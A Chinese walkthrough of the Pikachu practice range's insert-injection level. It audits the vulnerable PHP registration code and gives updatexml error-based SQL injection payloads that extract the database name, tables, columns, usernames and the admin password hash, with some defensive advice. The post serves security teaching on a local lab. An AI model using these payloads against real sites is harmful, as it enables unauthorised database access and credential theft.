pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)

目录

一、SQL注入

二、insert注入

三、报错型注入

四、updatexml函数

五、源码审计

六、insert渗透实战

1、渗透准备

2、获取数据库名database

3、获取表名table

4、获取列名column

5、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对insert/update注入关卡源码的代码审计找到SQL安全风险的真实原因,讲解insert/update注入的原理并进行渗透实践,本文为SQL注入05之insert/update注入关卡的渗透部分。

一、SQL注入

SQL 注入是指攻击者会在应用程序的输入字段中插入恶意的 SQL 代码,从而改变原有的 SQL 查询逻辑。这种攻击可能导致应用程序执行非预期的SQL语句操作,从而使攻击者能够非法访问、篡改或删除数据库中的敏感信息,甚至可能获取数据库的控制权,进而威胁到整个系统的安全性和稳定性。SQL注入攻击的常见场景如下所示,今天我们这篇文章讲的就是第三部分数据插入注入。

  • 登录表单:在许多网站的登录界面,用户需要输入用户名和密码。如果后端代码对用户输入的内容未进行严格验证,直接将其拼接到 SQL 查询语句中,攻击者就可能通过构造特殊的输入绕过正常的登录验证。
  • 搜索功能:当网站提供搜索功能时,用户输入的关键词会被用于数据库查询。若处理不当,攻击者可以利用输入的关键词进行 SQL 注入攻击,获取数据库中的敏感信息。
  • 数据插入(insert注入)与更新(update注入):在涉及数据插入(如用户注册)或更新(如修改用户信息)的操作中,如果对用户输入的数据没有进行有效的过滤和验证,攻击者可以构造恶意输入,修改数据库中的数据或执行其他恶意操作。

二、insert注入

Insert 注入是 SQL 注入攻击的一种类型,主要针对 SQL 语句中的INSERT操作。攻击者利用应用程序在处理用户输入时的安全风险,通过构造恶意输入,将非法的 SQL 代码插入到INSERT语句中,从而改变原本的插入逻辑,实现非法数据的插入、获取数据库敏感信息甚至执行系统命令等目的。

三、报错型注入

报错型注入是 SQL 注入攻击的一种常见方式,攻击者利用数据库错误信息来获取数据库中的敏感数据。

  • 原理:通过构造特殊的 SQL 语句,使数据库在执行时产生错误,并从错误信息里提取有用的数据。不同数据库系统的报错信息和报错注入方法有所差异。
  • 攻击步骤:攻击者先判断注入点,然后构造会引发特定错误的 SQL 语句。例如,在 MySQL 中可利用 UPDATEXML 函数,它在输入不符合 XML 格式时会报错并返回部分输入内容。攻击者借此获取数据库名、表名和列名等信息。
  • 防范措施:避免在应用程序中显示详细的数据库错误信息,防止攻击者从中获取线索。使用参数化查询,将用户输入和 SQL 语句分离,让数据库自动处理输入,防止恶意 SQL 代码注入。对用户输入进行严格验证和过滤,仅允许合法字符和格式。

四、updatexml函数

在 MySQL 数据库里,UPDATEXML 是一个用于更新 XML 文档内容的函数。其基本语法为 UPDATEXML(xml_document, xpath_expr, new_value),此函数的作用是在 xml_document 这个 XML 文档里,依据 xpath_expr 所指定的 XPath 表达式定位节点,接着把这些节点的值更新成 new_value。若 xpath_expr 不符合 XPath 表达式的规范,函数就会产生错误并返回包含错误信息的结果。

在报错注入中,攻击者通常将 updatexml函数的第二个参数(XPath 表达式)设置为非法值,从而引发错误。通过这种方式,攻击者可以从错误信息中提取敏感数据。假设存在一个简单的 SQL 查询语句 SELECT * FROM users WHERE id = $id,攻击者可以构造如下注入语句:

1 AND updatexml(1,CONCAT(0x7e,(SELECT database()),0x7e),1)

在这个语句中,0x7e 代表波浪线 ~,(SELECT database()) 用于获取当前数据库的名称。当数据库执行这条语句时,由于 CONCAT(0x7e,(SELECT database()),0x7e) 并非有效的 XPath 表达式,updatexml函数就会报错,错误信息中会包含当前数据库的名称。 

五、源码审计

打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_reg.php,很明显SQL语句没有对POST方法传入的多个参数进行过滤,存在SQL注入风险,具体如下所示。

<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();// 初始化用于存储 HTML 内容的变量,用于后续输出提示信息
$html = '';// 检查是否通过 POST 方法提交了表单
if (isset($_POST['submit'])) {// 检查提交的表单中 username 和 password 字段是否不为空if ($_POST['username'] != null && $_POST['password'] != null) {// 注释掉的代码,原本的意图是对 POST 数据进行转义处理,防止 SQL 注入// $getdata = escape($link, $_POST); // 未对 POST 数据进行转义处理,直接将其赋值给 $getdata 变量$getdata = $_POST;// 构造一个 SQL 插入语句,将用户输入的数据插入到 member 表中// 其中密码使用 md5 函数进行加密存储$query = "insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";// 调用 execute 函数执行构造好的 SQL 插入语句$result = execute($link, $query);// 检查执行插入操作后受影响的行数是否为 1// mysqli_affected_rows 函数用于获取上次 SQL 操作受影响的行数if (mysqli_affected_rows($link) == 1) {// 如果插入成功,将提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";} else {// 如果插入失败,将提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>注册失败,请检查下数据库是否还活着</p>";}} else {// 如果 username 或 password 字段为空,将提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>必填项不能为空哦</p>";}
}
?>

此代码存在 SQL 注入安全风险,主要原因是对用户输入的数据未进行任何转义或验证处理。代码中原本注释掉了转义函数调用 $getdata = escape($link, $_POST);,而直接使用 $getdata = $_POST; 将用户输入的数据拼接到 SQL 插入语句中。攻击者可通过构造特殊的输入内容来改变 SQL 语句的逻辑,从而实现恶意操作。如下所示传入的参数中username, pw, sex, phonenum, email, address均为注入点。

insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

构造闭合语句:liujiannan01' and updatexml(0, concat(0x7e,database()),1) or ' 

六、insert渗透实战

1、渗透准备

打开靶场SQL注入第五关insert型注入,点击注册后进入注册页面,页面包括需要填写的用户名、密码、性别、邮寄、邮箱和住址信息,这与代码审计的分析一致,完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_reg.php

bp开启抓包在注册信息中填写内容,并点击注册,如下所示。 

burpsuite抓包,找到这个注册报文,具体信息如下所示,POST方法传参包括username, pw, sex, phonenum, email, address,这与源码分析一致,由于使用POST方法传参,故而我们使用bp进行渗透。

2、获取数据库名database

ljn630_2' and updatexml(0, concat(0x7e,database()),1) or '

输入ljn630_2' and updatexml(0, concat(0x7e,database()),1) or '后点击注册,如下所示。

此时页面提示报错信息,爆出数据库的名称为“pikachu”,具体如下所示。  

此时burpsuite抓包如下所示,将报文发送到repeater,后续通过修改POST内容进行注入。

3、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0) or '&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

渗透后获取到数据库pikachu表有4个以上的table表,但是第五个没有展示全,只有一个x字符,其他前四个分别为httpinfo, member,message, users,如下所示。

之所以没有展示全是因为update的报错信息最多展示32个字符,出去第一个字符是报错的波浪线以外,也就是说有效的字符只能显示31个。接下来使用right函数显示从右到左31个字符,具体注入命令如下所示 。

username=' or updatexml(1, concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),31)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

点击发送后,展示从右开始31个字符,与上一个图片对比可知最后一个table表为xssblind。

4、获取列名column

对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'
)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

5、获取字段

对pikachu数据库中users表的username列进行爆破,命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

渗透后获取到数据库users表的username字段如下所示,渗透成功。  

接下来获取admin账户的密码,注入命令如下所示但是没有显示完全,如下所示。 

username=' or updatexml(1,concat(0x7e,(select group_concat(password) from users where username='admin')),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

我们通过substr函数获取admin账户的密码的第32位开始的31个字符串,注入命令如下所示显示了一个字符e,拼接后即可获取到admin的密码,e10adc3949ba59abbe56e057f20f883e,如下所示。  

username=' or updatexml(1,concat(0x7e,substr((select group_concat(concat(password)) from users where username='admin'),32,31)),1)  or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/diannao/86477.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

k8s从入门到放弃之HPA控制器

k8s从入门到放弃之HPA控制器 Kubernetes中的Horizontal Pod Autoscaler (HPA)控制器是一种用于自动扩展部署、副本集或复制控制器中Pod数量的机制。它可以根据观察到的CPU利用率&#xff08;或其他自定义指标&#xff09;来调整这些对象的规模&#xff0c;从而帮助应用程序在负…

人机融合智能 | “人智交互”跨学科新领域

本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…

ccf中学生计算机程序设计入门篇课后题p164页test(1)-2 输入一个数,统计这个数二进制中1的个数

include <iostream> using namespace std;int main() {int x;int n 0;// 输入数据cin >> x;// 统计x二进制中1的个数for (n 0; x ! 0; x & x - 1) {n;}// 输出结果cout << n << endl;return 0; }程序解释&#xff1a; 输入&#xff1a;程序从标…

无人机侦测与反制技术的进展与应用

国家电网无人机侦测与反制技术的进展与应用 引言 随着无人机&#xff08;无人驾驶飞行器&#xff0c;UAV&#xff09;技术的快速发展&#xff0c;其在商业、娱乐和军事领域的广泛应用带来了新的安全挑战。特别是对于关键基础设施如电力系统&#xff0c;无人机的“黑飞”&…

【Go语言基础【18】】Map基础

文章目录 零、概述一、Map基础1、Map的基本概念与特性2、Map的声明与初始化3、Map的基本操作 二、Map的底层实现三、Map的注意事项 零、概述 Map与其他语言的对比 特性Go mapJava HashMapPython dict并发安全非线程安全&#xff0c;需手动加锁非线程安全&#xff08;Concurre…

Qt客户端技巧 -- 窗口美化 -- 窗口阴影

不解析&#xff0c;直接给示例 窗口设为不边框且背景透明,好用来承载阴影 窗口一个Widget用来作真实窗口的作用&#xff0c;在真实窗口上加上阴影特效 上下两层Widget方式 main.cpp #include <QtCore/qglobal.h> #if QT_VERSION > 0x050000 #include <QtWidget…

优选算法第十二讲:队列 + 宽搜 优先级队列

优选算法第十二讲&#xff1a;队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…

华为OD最新机试真题-流水线-OD统一考试(B卷)

题目描述: 有个工厂有m条 流水线,来并行完成n个独立的作业,该工厂设置了一个调度系统,在安排作业时,总是优先执行处理时间最短的作业。 现给定流水线个数m,需要完成的作业数n,每个作业的处理时间分别为t1,.2..n。请你编程计算处理完所有作业的耗时为多少? 当n>m时

区块链技术概述

区块链技术是一种去中心化、分布式账本技术&#xff0c;通过密码学、共识机制和智能合约等核心组件&#xff0c;实现数据不可篡改、透明可追溯的系统。 一、核心技术 1. 去中心化 特点&#xff1a;数据存储在网络中的多个节点&#xff08;计算机&#xff09;&#xff0c;而非…

项目css / js的兼容性next项目实践处理

之前写过一篇&#xff0c;但是没有css的处理&#xff0c;但是那一篇有几个文章蛮好的https://blog.csdn.net/SaRAku/article/details/144704916 css兼容性和js兼容性 1. 确定需要兼容的版本 先确定你们的兼容性版本&#xff0c;我们的兼容性以APP H5的兼容版本为最低兼容性&…

Vue3 + Vite 中使用 Lodash-es 的防抖 debounce 详解

Vue3 Vite 中使用 Lodash-es 的防抖(debounce)详解 在 Vue3 Vite 项目中&#xff0c;debounce 是 lodash-es 中最常用的功能之一&#xff0c;它可以帮助我们优化高频事件的处理。下面我将详细讲解 debounce 的使用方法&#xff0c;并提供一个完整的示例。 Debounce 核心概念…

MySQL--慢查询日志、日志分析工具mysqldumpslow

mysqldumpslow 常用参数&#xff1a; -s&#xff0c;是order的顺序----- al 平均锁定时间-----ar 平均返回记录时间-----at 平均查询时间&#xff08;默认&#xff09;-----c 计数-----l 锁定时间-----r 返回记录-----t 查询时间-t&#xff0c;是top n的意思&#xff0c;即为返…

C++课设:实现图书馆借阅记录系统(支持书籍管理、借阅功能、超期检测提醒)

名人说&#xff1a;路漫漫其修远兮&#xff0c;吾将上下而求索。—— 屈原《离骚》 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 专栏介绍&#xff1a;《编程项目实战》 目录 一、系统概述与设计思路1. 系统核心功能…

矩阵和向量范数的区别分析

文章目录 1. 研究对象本质差异2. 运算和作用方式不同3. 应用需求不同4. 数学性质和理论体系不同5. 几何直观不同6. 范数定义区别7. 范数计算方式区别8. 范数几何意义区别9. 范数相容性区别总结 1. 研究对象本质差异 向量本质&#xff1a;向量是具有大小和方向的一维有序数组&a…

HTMLCSS 学习总结

目录 ​​​一、HTML核心概念​​ ​​三大前端技术作用​​ ​​HTML基础结构​​ 开发工具&#xff1a;VS Code 专业配置​​​​安装步骤​​&#xff1a; ​​二、HTML标签大全&#xff08;含表格&#xff09;​​ ​​三、CSS核心技术​​ 1. 三种引入方式对比 2.…

Java + Spring Boot + Mybatis 实现批量插入

在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法&#xff1a;使用 MyBatis 的 <foreach> 标签和批处理模式&#xff08;ExecutorType.BATCH&#xff09;。 方法一&#xff1a;使用 XML 的 <foreach> 标签&#xff…

Oracle11g安装包

Oracle 11g安装包 适用于windows系统&#xff0c;64位 下载路径 oracle 11g 安装包

通过Cline使用智能体

文章目录 1、VS Code配置2、Cline使用2.1 工作模式2.2 MCP服务2.3 Cline支持的服务 3、案例一&#xff1a;天气查询项目3.1 需求说明3.2 申请高德API Key3.3 实操&#xff1a;向Cline下达命令 4、案例二&#xff1a;双城天气对比项目4.1 需求说明4.2 实操 Cline是VS Code的插件…

「混合开发」H5与原生App交互流程方案全面解析

目录 内嵌H5调用iOS内的方法 1. 背景 2. 解决方案 2.1 创建WebView 2.2 注册原生方法 2.3 H5调用原生方法 3. 序列图 H5 调用 Android&#xff1a;详细指南 整体流程 每一步的详细说明 步骤1&#xff1a;在Android项目中设置WebView 步骤2&#xff1a;定义JavaScri…

webpack打包vue项目

要在 Vue 项目中使用 Webpack 进行打包&#xff0c;通常有几种不同的方式来设置你的项目。以下是基本步骤&#xff1a; 1. 使用 Vue CLI 创建项目&#xff08;推荐&#xff09; Vue CLI 是官方提供的一个脚手架工具&#xff0c;它内置了对 Webpack 的支持&#xff0c;并且简化…